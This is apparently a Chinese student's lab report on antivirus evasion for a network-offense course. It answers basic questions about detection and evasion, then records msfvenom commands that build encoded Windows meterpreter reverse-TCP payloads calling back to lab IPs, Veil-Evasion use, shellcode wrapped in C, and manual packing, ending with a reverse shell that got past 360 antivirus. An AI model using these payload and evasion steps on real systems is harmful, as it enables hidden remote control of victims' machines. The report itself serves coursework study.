20145207《网络对抗》免杀原理与实践

 20145207《网络对抗》免杀原理与实践

1.实践内容说明

(1)理解免杀技术原理(1分)

(2)正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧；(2分)

(3)通过组合应用各种技术实现恶意代码免杀(1分)

(4)用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本（1分）

2.基础问题回答

• 杀软是如何检测出恶意代码的？

        特征码、启发式恶意软件检查和行为。

• 免杀是做什么？

        不会解释百度的。免杀，也就是反病毒与反间谍的对立面，翻译为“反杀毒技术”。

• 免杀的基本方法有哪些？

针对杀毒软件的三种基本检测方法，我们可有以下几种方法实现免杀：

• 改变特征码

• 改变行为

• 其它

3.离实战还缺些什么技术或步骤？

差的远得不知道多少，我们现在做的这点玩意所好听点是因为兴趣搞一搞这方面的小研究，入侵下自己每天使用的电脑。说难听点就是为了查实验。有多少人会去让你把东西放到人家电脑里测试？就算你做些伪装通过QQ等通信软件发出去一样是那自己朋友亲人炫耀罢了。对于陌生人而言或者是试图侵入的所谓靶机，。。。。。。

4.实践总结与体会

通过这次实验，我把电脑里的杀毒软件卸了，尤其是杀千刀的360，再见！

至于总结嘛，知道了恶意代码是如何伪装的；杀毒与免杀之间，麻烦不断~

5.实践过程记录

使用Msfvenom

1、查杀一下msfvenom直接生成meterpreter可执行文件，53%（21/39）：

2、使用shikata_ga_nai编码生成：

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=10.43.48.166 LPORT=4444 -f exe > zyj_encoded.exe

查杀率并没有降低，结果如下图所示：

3、使用xor编码生成：msfvenom -p windows/meterpreter/reverse_tcp -e x64/xor ‘x00’ LHOST=10.43.51.205  LPORT=4444 -f exe > zyj_xor.exe,查杀率没有任何变化。

使用Veil-Evasion生成可执行文件

1.直接在命令行中输入veil-evasion打开。按照提示选择use，并选择相应的payload方式。这里选择的是49.如下图所示;

2、输入generate生成病毒，按照提示输入文件名称，结果如下图所示：

3、文件上传，看查杀率有所提高：

C语言调用Shellcode

1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储，得到机器码。命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.48.16 LPORT=443 -f c >c5207.c

2、改变这个.c文件，并编译，然并软，依然会被认为是病毒。

结果文件：

5、手工加一个壳，将特征码倒序，再次查杀：

最后在自己电脑上实现杀毒并回连

1.用自己计算机上的360也没有检测出病毒

2、回连成功，生成shell：